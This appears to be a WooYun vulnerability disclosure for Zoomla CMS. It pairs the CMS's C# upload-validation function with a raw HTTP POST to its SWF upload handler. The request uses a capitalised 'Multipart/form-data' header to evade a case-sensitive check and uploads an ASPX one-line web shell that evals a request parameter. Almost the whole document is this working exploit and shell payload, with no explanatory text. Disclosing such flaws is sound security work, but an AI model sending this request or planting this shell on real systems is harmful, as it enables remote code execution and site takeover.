WooYun.org

public static void CheckUpladFiles()
	{
		HttpRequest request = HttpContext.Current.Request;
		HttpResponse response = HttpContext.Current.Response;
		if (HttpContext.Current.Request.ContentType.IndexOf("multipart/form-data") > -1)
		{
			HttpFileCollection files = request.Files;
			for (int i = 0; i < files.Count; i++)
			{
				HttpPostedFile httpPostedFile = files[i];
				string fileName = httpPostedFile.FileName;
				if (httpPostedFile.ContentLength > 0)
				{
					if (fileName.IndexOf(".") > -1)
					{
						string[] array = fileName.Split(new char[]
						{
							'.'
						});
						for (int j = 1; j < array.Length; j++)
						{
							string ext = array[j].ToString().ToLower();
							if (!ZoomlaSecurityCenter.ExNameCheck(ext))
							{
								string findStr = System.IO.Path.GetExtension(fileName).ToLower().Replace(".", "");
								string text = SiteConfig.SiteOption.UploadFileExts.ToLower();
								if (!StringHelper.FoundCharInArr(text, findStr, "|"))
								{
									function.WriteErrMsg("上传的文件不是符合扩展名" + text + "的文件");
									response.End();
								}
							}
							else
							{
								function.WriteErrMsg("请勿上传可疑文件！");
								response.End();
							}
						}
					}
					else
					{
						function.WriteErrMsg("请勿上传可疑文件！");
						response.End();
					}
				}
			}
		}
	}

POST /Plugins/swfFileUpload/UploadHandler.ashx HTTP/1.1
Host: demo.zoomla.cn
Content-Length: 263
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36
Content-Type: Multipart/form-data; boundary=----WebKitFormBoundaryNyS0P5wwqaOrCYsh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=gwezhhqzegfs5nhcpdeaso5s; bdshare_firstime=1436497685958; jiathis_rdc=%7B%22http%3A//www.zoomla.cn/down/2407.shtml%22%3A%220%7C1436497760852%22%7D; hasshown=1
------WebKitFormBoundaryNyS0P5wwqaOrCYsh
Content-Disposition: form-data; name="Filedata"; filename="name.Aspx"
Content-Type: application/x-aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["zsd"],"unsafe");%>
------WebKitFormBoundaryNyS0P5wwqaOrCYsh--